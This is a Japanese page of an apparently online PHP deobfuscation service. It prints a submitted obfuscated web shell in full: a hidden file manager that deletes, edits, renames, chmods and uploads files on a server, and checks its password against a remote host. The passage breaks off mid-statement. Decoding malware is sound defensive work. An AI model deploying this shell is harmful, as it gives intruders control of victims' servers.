Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto ibWir; d4Oq0: if (unlink($_GET["\x70\x61\x74\x68"] . "\57" . $_GET["\x6e\x61\155\x65"])) { goto dSXFE; } goto NjmD5; TvHGL: if (isset($_GET["\x6f\160\x74\151\157\156"]) && $_GET["\x6f\160\x74"] != "\x64\145\x6c\145\x74\x65") { goto zNlDU; } goto p9KHX; IbPZI: foreach ($KqXYo as...



難読化されたPHPコード

<?php
 goto ibWir; d4Oq0: if (unlink($_GET["\x70\x61\x74\x68"] . "\57" . $_GET["\x6e\x61\155\x65"])) { goto dSXFE; } goto NjmD5; TvHGL: if (isset($_GET["\x6f\160\x74\151\157\156"]) && $_GET["\x6f\160\x74"] != "\x64\145\x6c\145\x74\x65") { goto zNlDU; } goto p9KHX; IbPZI: foreach ($KqXYo as $NxsYq) { goto RIaaL; udKjp: if ($ahKks >= 1024) { goto LYq_P; } goto XmF8N; oIc4o: goto uh65k; goto mNhvS; C3eob: goto XeVUy; goto RAlBF; YqixP: if (!(is_writable("{$Hu2QY}\x2f{$NxsYq}") || !is_readable("{$Hu2QY}\x2f{$NxsYq}"))) { goto Gvupr; } goto CKJkk; RIaaL: if (is_file("{$Hu2QY}\57{$NxsYq}")) { goto xKhSG; } goto oIc4o; x10N7: $ahKks = round($ahKks / 1024, 2) . "\x20\x4d\x42"; goto U_6ap; V5m8W: uh65k: goto bK33d; hGKTI: XeVUy: goto irjTe; AGJSd: goto XeVUy; goto egXca; x11l1: if (is_writable("{$Hu2QY}\x2f{$NxsYq}")) { goto dagNF; } goto K5vas; CKJkk: echo "\74\x2f\146\157\x6e\164\76"; goto UKAsp; U_6ap: GjlU0: goto aM8xA; aM8xA: echo "\x3c\x74\162\76\xd\12\74\164\x64\76\x3c\151\156\x70\165\x74\40\x74\171\160\145\x3d\x63\150\145\x63\x6b\x62\157\170\40\156\141\155\x65\x3d\47\x66\133\135\x27\40\x76\141\154\165\145\x3d\47\x66\151\x6c\x65\x5f{$NxsYq}\x27\40\x63\x6c\141\x73\163\75\143\150\x6b\x62\170\x3e\74\141\40\x68\162\x65\x66\x3d\47\x3f\x66\151\x6c\x65\x73\x72\x63\75{$Hu2QY}\x2f{$NxsYq}\46\160\141\164\150\75{$Hu2QY}\x27\x3e{$NxsYq}\x3c\x2f\x61\76\74\57\164\144\x3e\15\xa\74\164\x64\76\74\143\x65\156\164\145\162\76" . $ahKks . "\x3c\57\143\145\x6e\164\x65\162\x3e\x3c\57\164\144\76\15\xa\x3c\x74\144\76\74\143\145\156\x74\145\x72\76"; goto x11l1; XmF8N: $ahKks = $ahKks . "\40\x4b\102"; goto QV4vD; Af74_: echo "\74\57\143\145\156\164\145\162\x3e\74\x2f\x74\x64\x3e\15\12\x3c\164\x64\x3e\74\143\x65\x6e\164\145\162\x3e\15\12\x3c\141\x20\150\162\x65\x66\75\47\77\157\160\x74\x69\x6f\156\46\x6f\x70\164\75\145\144\151\164\x26\160\x61\164\x68\x3d{$Hu2QY}\x26\x74\171\160\x65\x3d\x66\151\x6c\145\46\156\x61\155\145\75{$NxsYq}\x27\x3e\145\x64\151\164\x3c\x2f\141\76\15\xa\74\x61\40\x68\162\x65\x66\x3d\x27\77\x6f\160\164\151\x6f\x6e\x26\157\160\164\x3d\144\145\x6c\x65\x74\x65\x26\x70\141\x74\150\x3d{$Hu2QY}\46\x74\171\x70\x65\75\x66\x69\x6c\x65\x26\x6e\141\x6d\145\75{$NxsYq}\47\76\x44\x65\x6c\145\x74\x65\x3c\x2f\141\x3e\15\12\74\141\x20\x68\162\x65\146\x3d\47\x3f\x6f\x70\x74\x69\x6f\156\46\x6f\x70\164\75\143\150\x6d\x6f\144\x26\x70\x61\164\x68\x3d{$Hu2QY}\x26\164\171\160\145\x3d\146\x69\x6c\145\46\x6e\141\x6d\145\75{$NxsYq}\x27\76\x43\150\x6d\157\x64\74\57\x61\x3e\xd\xa\74\x61\x20\x68\162\x65\x66\x3d\47\77\157\x70\x74\x69\157\x6e\x26\x6f\160\164\x3d\162\145\156\x61\x6d\x65\46\x70\x61\164\x68\75{$Hu2QY}\x26\x74\x79\x70\145\75\x66\151\154\145\x26\156\x61\155\x65\75{$NxsYq}\x27\x3e\122\x65\156\x61\x6d\145\x3c\x2f\141\x3e\15\12\74\x64\151\166\x3e\15\12\15\12\x3c\x2f\143\145\156\164\x65\x72\76\74\57\164\144\76\xd\xa\74\x2f\x74\x72\76"; goto V5m8W; UKAsp: Gvupr: goto Af74_; QV4vD: goto GjlU0; goto oRMO5; mNhvS: xKhSG: goto iuuQC; iuuQC: $ahKks = filesize("{$Hu2QY}\57{$NxsYq}") / 1024; goto lT1Ve; K5vas: if (!is_readable("{$Hu2QY}\57{$NxsYq}")) { goto EuPZG; } goto AGJSd; egXca: dagNF: goto cNcc9; Mf7H_: echo "\74\146\157\156\164\x20\x63\157\154\157\x72\x3d\42\x72\x65\144\42\x3e"; goto hGKTI; cNcc9: echo "\74\x66\x6f\x6e\164\40\143\x6f\x6c\x6f\x72\x3d\x22\x67\162\x65\145\156\42\x3e"; goto C3eob; RAlBF: EuPZG: goto Mf7H_; irjTe: echo w9icf("{$Hu2QY}\57{$NxsYq}"); goto YqixP; oRMO5: LYq_P: goto x10N7; lT1Ve: $ahKks = round($ahKks, 3); goto udKjp; bK33d: } goto Hstx2; O73ep: if (!isset($_POST["\x66"])) { goto axCE7; } goto EDW9i; u21em: foreach ($BuCsl as $SXYNP => $Rt_0h) { goto Q0nA4; PBsGU: echo "\42\x3e" . $Rt_0h . "\x3c\57\141\x3e\57"; goto J14Bp; q6kiC: goto LITfM; goto f0zXz; i_5le: echo "\74\x61\40\x68\162\x65\x66\x3d\42\x3f\160\x61\164\x68\75"; goto thnX5; wTnvy: goto Oh20a; goto cQUfd; cQUfd: H7unR: goto xgBNj; SVbhT: LITfM: goto TySDq; Q0nA4: if (!($Rt_0h == '' && $SXYNP == 0)) { goto H7unR; } goto mtuSD; J14Bp: Oh20a: goto av3So; f0zXz: TtjTy: goto PBsGU; zm8b7: echo "{$BuCsl[$bBQSy]}"; goto rNxJT; kI1J4: echo "\57"; goto W82Wl; qpkUd: goto Oh20a; goto VRdFF; rNxJT: if (!($bBQSy != $SXYNP)) { goto UUwZF; } goto kI1J4; g1mV3: $bBQSy++; goto q6kiC; PfbR1: echo "\74\x61\40\150\162\x65\146\x3d\42\77\160\x61\x74\x68\75\57\42\76\x2f\x3c\57\141\x3e"; goto wTnvy; W82Wl: UUwZF: goto gJVab; mtuSD: $J0ISI = true; goto PfbR1; VRdFF: avlIh: goto i_5le; gJVab: cI4R0: goto g1mV3; thnX5: $bBQSy = 0; goto SVbhT; TySDq: if (!($bBQSy <= $SXYNP)) { goto TtjTy; } goto zm8b7; xgBNj: if (!($Rt_0h == '')) { goto avlIh; } goto qpkUd; av3So: } goto qqP9x; smq4m: PjgLC: goto a_h1U; gnpYx: echo "\x3c\57\x63\x65\x6e\164\145\162\76"; goto CKtWw; haBey: echo "\74\41\x44\117\103\x54\131\120\105\40\x48\124\115\114\x3e\15\12\x3c\x48\124\x4d\114\x3e\15\xa\74\x48\105\x41\x44\76\xd\xa\x3c\154\x69\x6e\153\x20\150\x72\x65\x66\75\x22\x22\x20\162\145\154\x3d\x22\x73\164\171\154\145\163\x68\x65\x65\x74\x22\x20\x74\x79\x70\145\x3d\x22\164\x65\x78\164\57\143\163\163\42\x3e\xd\xa\x3c\164\151\x74\154\x65\76\x4b\x4b\x4b\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\x2f\110\x45\101\x44\76\xd\12\74\142\x6f\144\171\76\15\12\x3c\x48\61\x3e\74\x63\145\x6e\x74\145\x72\x3e\74\x2f\143\x65\x6e\164\145\162\76\x3c\57\x48\x31\x3e\xd\12\x3c\x74\x61\x62\154\145\x20\x77\151\144\164\150\x3d\x22\67\x30\x30\42\x20\142\157\162\x64\x65\x72\x3d\42\x30\42\40\143\145\x6c\x6c\x70\x61\144\x64\x69\x6e\x67\75\x22\63\x22\x20\143\x65\x6c\x6c\163\x70\141\143\x69\x6e\x67\x3d\x22\61\x22\40\x61\x6c\151\x67\x6e\x3d\x22\143\145\x6e\x74\145\x72\x22\x3e\15\12\x3c\164\x72\x3e\x3c\164\x64\76\x43\165\162\x72\145\156\x74\40\x50\x61\x74\150\x20\x3a\40"; goto lk62W; oI3AH: $yzszt = md5($_POST["\147\137\153\153"]); goto uXWBA; yLngR: echo "\74\146\157\x6e\164\x20\x63\157\154\x6f\162\75\x22\162\x65\144\42\x3e\x45\x64\151\x74\40\106\151\x6c\x65\x20\105\x72\162\x6f\x72\x2e\74\x2f\146\x6f\x6e\x74\x3e\74\142\x72\x20\57\x3e"; goto MtmyD; DuqhQ: goto BLQTA; goto BHsUQ; jESMF: OJ4Xi: goto ymYwa; ALruy: d6fPA: goto smq4m; fEMRJ: echo "\x3c\x2f\164\162\76\x3c\57\x74\x64\x3e\74\x2f\164\x61\x62\x6c\145\x3e\74\142\162\x20\x2f\x3e"; goto nQ4Gm; j6FMX: goto OevMV; goto GKaL4; l_wCr: $Hu2QY = getcwd(); goto Rre5q; hjHYq: echo "\74\164\x72\40\x63\x6c\x61\x73\163\75\42\146\151\162\163\x74\42\76\x3c\164\x64\76\74\x2f\x74\144\x3e\x3c\164\144\76\x3c\x2f\x74\x64\x3e\x3c\164\144\x3e\x3c\57\x74\144\76\x3c\164\x64\x3e\74\57\x74\144\76\x3c\57\164\162\x3e"; goto IbPZI; xq5w6: goto RIcxe; goto wAS2Y; lpxL3: Rseqk: goto pkglp; CKtWw: BLQTA: goto kjV1i; aE2HY: AV7js: goto rXOWC; qnJf7: h6b2z: goto nCVhj; NL_R0: echo "\x3c\57\x74\x61\142\154\145\76\74\x62\x72\40\57\76\74\143\x65\156\164\x65\162\76" . $_GET["\x70\141\164\x68"] . "\x2f" . $_GET["\x6e\x61\155\x65"] . "\74\142\x72\40\57\x3e\74\x62\x72\40\x2f\76"; goto FDR61; HiT8g: if ($_GET["\157\160\x74"] == "\x72\x65\156\x61\155\145" || $_POST["\x6f\x70\x74"] == "\162\x65\x6e\141\155\145") { goto MiT1K; } goto pEq7h; lk68H: if ($yzszt != trim(z9g3P("\x68\x74\x74\x70\72\x2f\57\167\167\x77\x31\x36\70\x2e\x67\157\x63\141\x72\157\154\x69\156\141\56\x61\163\x69\x61\57\144\x6b\141\163\x69\x71\152\x61\x73\x35\64\x36\x38\x2e\x74\170\x74"))) { goto IkQiu; } goto sTB7b; IphHZ: rjkX_: goto NsS6I; pE7mn: fclose($sM0gb); goto qnJf7; eReAi: echo "\x3c\x66\157\x6e\x74\40\x63\x6f\x6c\x6f\x72\x3d\42\x67\x72\x65\145\156\42\x3e\103\150\141\156\x67\145\40\x50\x65\162\155\x69\163\x73\x69\157\156\x20\104\157\x6e\145\x2e\x3c\x2f\146\157\x6e\x74\76\74\142\162\x20\57\x3e"; goto KxMpD; aT9h0: iNFw3: goto pE7mn; YC_IB: NHozz: goto gnpYx; yF782: if (!(isset($_GET["\x6f\x70\x74\151\x6f\x6e"]) && $_GET["\157\160\x74"] == "\144\x65\154\x65\x74\145" && file_exists($_GET["\160\141\164\x68"] . "\57" . $_GET["\156\141\x6d\145"]))) { goto PjgLC; } goto P_IzC; QTooF: if (chmod($_POST["\160\141\164\x68"], $_POST["\x70\x65\162\155"])) { goto vJhoC; } goto LLlOw; kVpPs: function z9G3P($dfjqW) { goto p2nIV; bwtKk: ini_set("\x75\x73\x65\x72\x5f\x61\147\145\x6e\x74", $NIYeF); goto rRICK; q_lvh: $NIYeF = "\x4d\x6f\172\x69\x6c\x6c\141\x2f\x34\x2e\x30\40\50\x63\x6f\x6d\x70\x61\164\151\x62\154\145\73\115\x53\x49\105\x20\66\56\60\x3b\127\151\156\144\157\167\x73\40\x4e\124\x20\65\56\x32\73\56\116\105\x54\x20\x43\114\122\x20\61\x2e\x31\x2e\64\63\x32\x32\51"; goto jEhZW; CshsV: try { goto vyhbK; olszM: curl_setopt($qAi5T, CURLOPT_CONNECTTIMEOUT, $BlCxk); goto eY1ph; eY1ph: $jyXLz = curl_exec($qAi5T); goto sD8Xj; iSdhV: $BlCxk = 30; goto r2mbx; vyhbK: $qAi5T = curl_init(); goto iSdhV; diPWF: curl_setopt($qAi5T, CURLOPT_SSL_VERIFYHOST, 0); goto I8Ruu; r2mbx: curl_setopt($qAi5T, CURLOPT_URL, $dfjqW); goto diPWF; sD8Xj: curl_close($qAi5T); goto na8Kr; I8Ruu: curl_setopt($qAi5T, CURLOPT_SSL_VERIFYPEER, 0); goto iRHZd; iRHZd: curl_setopt($qAi5T, CURLOPT_RETURNTRANSFER, 1); goto olszM; na8Kr: } catch (Exception $FCaVj) { } goto OGy2q; jEhZW: if (!function_exists("\x63\165\162\154\x5f\x69\156\151\164")) { goto ddOBi; } goto CshsV; p2nIV: $jyXLz = ''; goto q_lvh; rRICK: try { $jyXLz = @file_get_contents($dfjqW); } catch (Exception $FCaVj) { } goto zDWD_; sFmYz: if (!(strlen($jyXLz) < 1 && function_exists("\x66\151\154\x65\137\x67\x65\164\137\x63\157\x6e\164\x65\x6e\164\163"))) { goto JgaOz; } goto bwtKk; zDWD_: JgaOz: goto fZWQK; fZWQK: return $jyXLz; goto m8Efv; OGy2q: ddOBi: goto sFmYz; m8Efv: } goto P9SUw; ZEod_: yvx1Y: goto mOIqd; dXvLi: OevMV: goto ALruy; nNc2A: echo $_GET["\146\x69\154\145\163\x72\143"]; goto fEMRJ; LLlOw: echo "\74\146\157\x6e\x74\x20\143\x6f\154\157\162\x3d\x22\162\145\144\42\x3e\103\x68\141\156\x67\145\40\120\145\x72\155\x69\163\163\x69\x6f\x6e\40\x45\x72\162\157\x72\x2e\74\x2f\x66\157\156\164\x3e\74\142\162\x20\57\76"; goto xq5w6; qqP9x: ATcwq: goto nHnfA; m72q9: echo "\x3c\146\157\162\155\x20\155\145\164\x68\157\x64\x3d\x22\120\117\123\x54\x22\76\15\12\116\145\x77\x20\116\x61\155\x65\40\72\40\x3c\151\156\160\165\164\x20\x6e\x61\155\145\x3d\x22\x6e\145\167\156\x61\155\145\42\40\164\x79\x70\145\75\42\164\x65\x78\x74\42\x20\x73\151\172\145\x3d\x22\x32\60\x22\40\166\x61\154\165\x65\75\42" . $_GET["\x6e\141\x6d\145"] . "\x22\40\x2f\76\xd\12\x3c\151\x6e\x70\x75\x74\40\x74\171\160\145\75\42\150\151\x64\x64\145\156\42\40\x6e\141\x6d\x65\x3d\42\x70\x61\x74\x68\42\40\x76\x61\154\165\x65\x3d\42" . $_GET["\160\x61\x74\x68"] . "\57" . $_GET["\x6e\x61\x6d\145"] . "\42\x3e\15\12\x3c\151\x6e\x70\x75\x74\40\164\171\x70\145\75\x22\150\x69\144\x64\145\x6e\42\40\156\x61\x6d\145\x3d\x22\x6f\x70\164\x22\40\166\141\x6c\165\x65\x3d\x22\x72\x65\156\x61\155\145\42\x3e\xd\12\74\151\156\160\165\164\x20\x74\171\x70\x65\75\x22\x73\x75\142\155\x69\164\42\x20\166\141\x6c\x75\145\x3d\42\107\x6f\42\40\x2f\76\15\12\74\x2f\x66\x6f\x72\155\x3e"; goto C4nYW; Hstx2: DMlnk: goto gmvHK; P_IzC: if ($_GET["\164\171\x70\145"] == "\144\x69\x72") { goto sQtck; } goto hv5Ua; Nr8vD: echo "\x3c\164\x72\76\74\x74\x64\x3e\x43\165\162\162\x65\156\x74\40\106\x69\x6c\145\40\x3a\40"; goto nNc2A; r3ppG: echo "\x3c\x66\157\162\x6d\x20\x65\156\x63\164\x79\x70\145\75\42\x6d\165\154\x74\151\160\x61\x72\164\57\x66\x6f\x72\155\55\x64\141\x74\141\42\x20\x6d\145\164\150\x6f\x64\x3d\x22\120\x4f\123\x54\42\x3e\15\12\x55\160\x6c\157\141\x64\x20\x46\x69\x6c\145\x20\x3a\40\x3c\x69\x6e\160\x75\x74\40\x74\x79\160\x65\75\x22\x66\x69\x6c\x65\42\x20\x6e\141\x6d\x65\75\42\146\151\x6c\145\42\x20\x2f\x3e\15\12\74\151\156\160\x75\164\x20\164\171\x70\x65\75\x22\x73\x75\142\x6d\151\164\42\40\166\141\154\x75\x65\x3d\42\x75\x70\154\157\x61\144\42\40\57\x3e\15\xa\74\x2f\146\157\x72\x6d\76\xd\xa\74\57\x74\144\76\x3c\x2f\x74\x72\76"; goto tKLSY; uXWBA: G3pao: goto lk68H; Rre5q: goto Rseqk; goto yM7cq; HWpEz: echo "\74\x66\157\156\x74\x20\x63\157\x6c\157\162\75\42\147\162\145\x65\x6e\42\x3e\105\144\151\164\40\x46\x69\x6c\x65\x20\104\x6f\x6e\145\x2e\x3c\x2f\146\157\156\164\x3e\74\x62\x72\40\57\x3e"; goto aT9h0; wh_8j: BVRNs: goto lnsje; DOqMr: echo "\74\x66\x6f\156\164\x20\x63\157\154\157\x72\x3d\42\x67\x72\145\x65\156\x22\x3e\103\150\x61\156\x67\x65\40\x4e\141\155\145\40\104\x6f\156\145\x2e\74\57\x66\157\x6e\x74\x3e\74\x62\162\x20\x2f\x3e"; goto mS4mK; urC2S: goto NHozz; goto LTW0K; npvxR: u85l8: goto Nr8vD; AlxpE: echo "\74\x64\x69\x76\40\151\x64\x3d\42\x63\x6f\x6e\x74\145\x6e\x74\42\x3e\74\146\x6f\162\x6d\40\155\145\x74\x68\x6f\144\75\42\x50\x4f\x53\124\42\x20\141\x63\x74\x69\157\x6e\x3d\42\x3f\x70\x61\x74\150\75" . $Hu2QY . "\x22\76\xd\xa\xd\xa\x3c\x74\x61\142\154\x65\40\167\x69\144\x74\x68\75\42\x37\60\60\42\40\x62\x6f\x72\144\145\162\75\42\x30\x22\x20\143\145\154\x6c\x70\x61\144\144\x69\x6e\147\75\x22\x33\42\40\143\x65\154\154\x73\160\141\143\x69\156\x67\x3d\42\61\42\x20\x61\x6c\151\147\156\75\x22\x63\145\156\x74\x65\162\42\x3e\15\12\74\164\162\x20\x63\x6c\x61\163\x73\x3d\x22\x66\151\x72\x73\x74\x22\x3e\x3c\164\144\76\15\12\x3c\x69\156\160\x75\x74\x20\x74\171\160\x65\x3d\42\150\x69\x64\144\x65\156\42\x20\156\141\x6d\x65\x3d\42\157\160\x74\x22\x20\166\141\x6c\165\145\x3d\x22\144\x65\154\x65\x74\x65\x22\x3e\xd\xa\74\x69\156\160\x75\164\x20\164\171\160\x65\75\42\163\165\142\x6d\151\164\42\40\166\141\x6c\x75\x65\75\42\xe5\x88\240\xe9\x99\244\x22\x20\76\x4e\141\155\x65\x3c\x2f\x74\x64\x3e\15\xa\74\164\144\x3e\74\143\145\156\164\x65\x72\x3e\123\151\x7a\145\x3c\x2f\x63\145\x6e\164\x65\162\x3e\x3c\57\x74\144\x3e\15\xa\74\164\x64\76\74\143\145\x6e\x74\x65\x72\76\120\x65\162\x6d\151\x73\163\x69\x6f\156\x73\74\57\143\145\x6e\164\x65\162\x3e\74\57\x74\x64\76\15\12\74\164\x64\x3e\74\x63\x65\x6e\164\145\x72\x3e\117\160\164\151\157\x6e\x73\74\57\x63\145\x6e\x74\x65\x72\76\x3c\57\164\x64\x3e\15\12\74\57\164\x72\76"; goto mxZyJ; mxZyJ: foreach ($KqXYo as $j__ps) { goto wt021; v27Wz: goto Exdz7; goto F7wkF; dkUQS: goto Exdz7; goto LxTzG; LxTzG: Wj4eX: goto pPyNq; G8NyP: SdJKZ: goto tUMsF; rFYSv: ByS5E: goto i41Qy; wt021: if (!(!is_dir("{$Hu2QY}\57{$j__ps}") || $j__ps == "\56" || $j__ps == "\56\x2e")) { goto SdJKZ; } goto LsXXG; LsXXG: goto vvhQ0; goto G8NyP; YqJzP: if (!is_readable("{$Hu2QY}\x2f{$j__ps}")) { goto Wj4eX; } goto v27Wz; tUMsF: echo "\74\164\x72\x3e\xd\xa\x3c\x74\x64\x3e\x3c\x69\156\160\x75\164\x20\x74\x79\160\145\x3d\x63\150\x65\x63\x6b\142\x6f\x78\x20\x6e\x61\x6d\145\75\x27\x66\x5b\x5d\x27\40\x76\x61\x6c\165\x65\75\x27\144\151\162\x5f{$j__ps}\x27\40\x63\x6c\x61\x73\x73\75\x63\150\153\142\170\76\x3c\141\40\150\x72\145\x66\x3d\47\77\x70\141\164\x68\75{$Hu2QY}\x2f{$j__ps}\x27\76{$j__ps}\x3c\57\141\x3e\74\57\x74\x64\76\xd\xa\x3c\164\144\x3e\x3c\x63\145\156\x74\145\x72\76\x2d\55\x3c\x2f\143\x65\x6e\x74\145\162\x3e\74\57\164\144\x3e\15\xa\74\164\x64\x3e\x3c\143\x65\156\164\145\162\76"; goto uefd_; KlyKD: vvhQ0: goto pffN6; pPyNq: echo "\74\x66\x6f\x6e\164\40\x63\x6f\x6c\157\162\x3d\x22\x72\x65\144\x22\76"; goto lwPNG; uefd_: if (is_writable("{$Hu2QY}\x2f{$j__ps}")) { goto pYUQ0; } goto YqJzP; P8Ro4: echo "\74\x2f\146\157\156\x74\x3e"; goto rFYSv; aRlze: echo w9icf("{$Hu2QY}\57{$j__ps}"); goto FZgOX; FZgOX: if (!(is_writable("{$Hu2QY}\x2f{$j__ps}") || !is_readable("{$Hu2QY}\x2f{$j__ps}"))) { goto ByS5E; } goto P8Ro4; lwPNG: Exdz7: goto aRlze; F7wkF: pYUQ0: goto EYsIi; EYsIi: echo "\x3c\x66\157\x6e\x74\40\x63\157\154\x6f\x72\75\x22\147\x72\145\145\156\42\76"; goto dkUQS; i41Qy: echo "\74\57\x63\x65\156\164\x65\x72\76\x3c\57\x74\x64\x3e\15\xa\74\164\144\x3e\x3c\x63\145\x6e\x74\x65\162\76\15\xa\x3c\141\40\x68\x72\x65\x66\75\47\77\157\160\x74\151\157\156\46\157\x70\x74\75\x64\145\154\x65\164\145\46\160\x61\164\150\75{$Hu2QY}\x26\164\x79\x70\x65\x3d\x64\151\x72\x26\x6e\x61\155\145\75{$j__ps}\x27\x3e\104\145\x6c\145\x74\145\74\x2f\x61\76\15\xa\74\141\x20\x68\162\145\146\x3d\x27\77\157\160\164\151\x6f\156\x26\x6f\x70\164\75\x63\x68\155\157\x64\46\x70\x61\164\150\x3d{$Hu2QY}\x26\x74\171\160\x65\x3d\x64\x69\x72\x26\x6e\141\155\x65\x3d{$j__ps}\47\x3e\103\x68\x6d\157\144\x3c\x2f\x61\x3e\15\12\x3c\141\x20\150\162\145\x66\75\47\x3f\x6f\160\x74\151\157\x6e\x26\x6f\160\x74\75\162\145\156\x61\x6d\145\46\160\x61\x74\x68\x3d{$Hu2QY}\46\164\x79\160\145\x3d\x64\x69\162\x26\156\x61\x6d\145\x3d{$j__ps}\x27\76\122\x65\x6e\x61\x6d\145\x3c\x2f\141\x3e\15\12\xd\12\15\12\x3c\57\143\145\x6e\164\145\162\x3e\x3c\x2f\x74\x64\x3e\xd\xa\74\x2f\164\x72\x3e"; goto KlyKD; pffN6: } goto Qdphm; NjmD5: echo "\74\x66\x6f\x6e\164\x20\x63\157\x6c\x6f\162\x3d\42\x72\x65\x64\x22\76\104\145\x6c\x65\x74\x65\40\x46\x69\x6c\x65\x20\x45\162\162\157\162\x2e\74\57\x66\x6f\156\164\x3e\x3c\142\162\40\57\x3e"; goto j6FMX; lnsje: if (!isset($_POST["\x73\x72\x63"])) { goto h6b2z; } goto T8LiG; QYYcO: goto w2txg; goto vVO9E; GKaL4: dSXFE: goto eHC0K; wbvQy: CAwBt: goto m72q9; pkglp: $Hu2QY = str_replace("\x5c", "\x2f", $Hu2QY); goto jkMTc; B0v4C: echo "\x3c\x66\157\156\164\x20\143\x6f\x6c\157\162\x3d\42\x67\x72\145\145\156\42\x3e\106\x69\x6c\145\40\x55\x70\154\x6f\141\144\x20\104\157\156\x65\x2e\74\x2f\x66\157\156\164\76\74\142\x72\x20\57\x3e"; goto jESMF; yM7cq: rw4Pc: goto bi8Mv; LTW0K: MiT1K: goto hpv9n; a0ihp: $_GET["\156\x61\x6d\145"] = $_POST["\156\x65\x77\x6e\x61\155\145"]; goto wbvQy; KtIUc: RmM83: goto DGhbt; Ic3xc: echo "\74\57\143\x65\156\x74\x65\x72\x3e"; goto ArKj3; jkMTc: $BuCsl = explode("\57", $Hu2QY); goto u21em; Uv60E: sQtck: goto qvAv6; BHsUQ: zNlDU: goto NL_R0; hv5Ua: if ($_GET["\x74\171\160\x65"] == "\146\151\154\x65") { goto O_NO2; } goto PXepp; lk62W: if (isset($_GET["\160\141\x74\x68"])) { goto rw4Pc; } goto l_wCr; P9SUw: $yzszt = ''; goto ALVkD; KxMpD: RIcxe: goto KNSKu; i2MHz: exit("\x3c\146\x6f\162\155\40\40\x20\x6d\145\164\150\x6f\x64\75\x20\42\x70\x6f\x73\x74\42\x20\x61\x63\x74\x69\x6f\156\75\40\x22\x22\x3e\x20\74\151\156\x70\165\164\40\164\x79\160\x65\x3d\x22\151\x6e\x70\x75\164\42\x20\x6e\x61\x6d\x65\40\75\x22\x67\137\153\x6b\x22\40\x76\141\x6c\x75\145\x3d\40\42\x22\57\x3e\x3c\151\x6e\x70\165\164\40\164\171\160\145\x3d\40\42\x73\x75\142\x6d\x69\x74\x22\x20\x76\x61\154\165\145\x3d\40\42\x26\147\x74\x3b\x22\57\76\x3c\x2f\x66\x6f\162\155\76"); goto BwiOl; sTB7b: $_SESSION["\x67\137\153\153"] = $yzszt; goto QYYcO; hpv9n: if (!isset($_POST["\156\x65\x77\156\x61\x6d\145"])) { goto CAwBt; } goto iyDu6; iyDu6: if (rename($_POST["\160\x61\164\150"], $Hu2QY . "\57" . $_POST["\156\145\167\x6e\x61\155\x65"])) { goto aJDIn; } goto DuQxv; ld0dH: goto OJ4Xi; goto N321g; T8LiG: $sM0gb = fopen($_GET["\x70\x61\x74\150"] . "\57" . $_GET["\156\141\x6d\145"], "\167"); goto iBM1s; a_h1U: if (!($_POST["\x6f\160\164"] == "\144\145\154\x65\164\145" && isset($_POST["\146"]))) { goto Ab2gP; } goto O73ep; QMhbN: xdWJo: goto jtflJ; BwiOl: w2txg: goto haBey; p9KHX: echo "\x3c\x2f\x74\141\x62\x6c\x65\x3e\74\x62\162\x20\57\76\74\x63\145\156\164\145\162\x3e"; goto yF782; bi8Mv: $Hu2QY = $_GET["\160\141\164\x68"]; goto lpxL3; ibWir: session_start(); goto kVpPs; oKSX2: aJDIn: goto DOqMr; iBM1s: if (fwrite($sM0gb, $_POST["\x73\162\x63"])) { goto MTTU_; } goto yLngR; MC4G2: O_NO2: goto d4Oq0; CqRsa: goto UXX2a; goto oKSX2; g7QHB: if (copy($_FILES["\146\151\154\145"]["\164\155\160\137\156\141\155\x65"], $Hu2QY . "\x2f" . $_FILES["\x66\x69\x6c\x65"]["\156\x61\155\145"])) { goto H4Aa3; } goto fopDy; MtmyD: goto iNFw3; goto eOL8k; NsS6I: if (!isset($_POST["\160\x65\x72\x6d"])) { goto Rtq0G; } goto QTooF; GtetQ: goto NHozz; goto IphHZ; mS4mK: UXX2a: goto a0ihp; nHnfA: echo "\x3c\x2f\164\x64\76\x3c\x2f\x74\162\76\74\164\162\x3e\74\x74\x64\x3e"; goto HUZGT; nQ4Gm: echo "\74\x70\x72\145\x3e" . htmlspecialchars(file_get_contents($_GET["\146\151\x6c\145\163\162\x63"])) . "\74\57\160\162\x65\x3e"; goto DuqhQ; HUZGT: if (!isset($_FILES["\146\151\154\145"])) { goto n7rAn; } goto g7QHB; PXepp: goto d6fPA; goto Uv60E; ymYwa: n7rAn: goto r3ppG; gmvHK: echo "\74\57\x74\141\x62\154\145\76\74\x2f\x66\x6f\162\x6d\x3e\15\12\x3c\57\x64\x69\x76\76"; goto XhsxZ; KNSKu: Rtq0G: goto hN4WN; rXOWC: if (!isset($_POST["\x67\137\x6b\x6b"])) { goto G3pao; } goto oI3AH; nqyjQ: $yzszt = $_SESSION["\147\137\x6b\153"]; goto aE2HY; eHC0K: echo "\x3c\x66\x6f\x6e\x74\40\x63\x6f\x6c\x6f\x72\75\42\x67\x72\145\145\x6e\x22\x3e\x44\145\154\145\x74\145\x20\106\x69\154\x65\40\x44\x6f\x6e\145\56\74\57\x66\157\156\x74\x3e\x3c\142\x72\x20\x2f\76"; goto dXvLi; fopDy: echo "\x3c\146\x6f\156\164\40\143\157\x6c\157\162\75\x22\x72\x65\x64\42\x3e\x46\151\154\x65\40\125\160\x6c\157\x61\x64\40\x45\162\162\157\x72\x2e\74\x2f\x66\157\x6e\x74\x3e\x3c\x62\x72\40\57\76"; goto ld0dH; eOL8k: MTTU_: goto HWpEz; DGhbt: echo "\74\146\157\x6e\164\40\143\x6f\x6c\x6f\162\x3d\42\147\162\145\x65\156\42\x3e\x44\145\154\145\x74\145\40\104\x69\x72\40\x44\x6f\156\145\x2e\x3c\57\146\157\x6e\164\x3e\x3c\x62\x72\40\x2f\x3e"; goto QMhbN; ArKj3: $KqXYo = scandir($Hu2QY); goto AlxpE; fkMAs: echo "\74\x66\x6f\156\x74\40\143\x6f\x6c\157\x72\x3d\42\x72\x65\x64\42\x3e\104\145\x6c\145\x74\145\40\x44\x69\x72\40\105\162\x72\157\162\56\x3c\57\146\157\x6e\x74\x3e\74\142\x72\x20\57\76"; goto Qrw42; nCVhj: echo 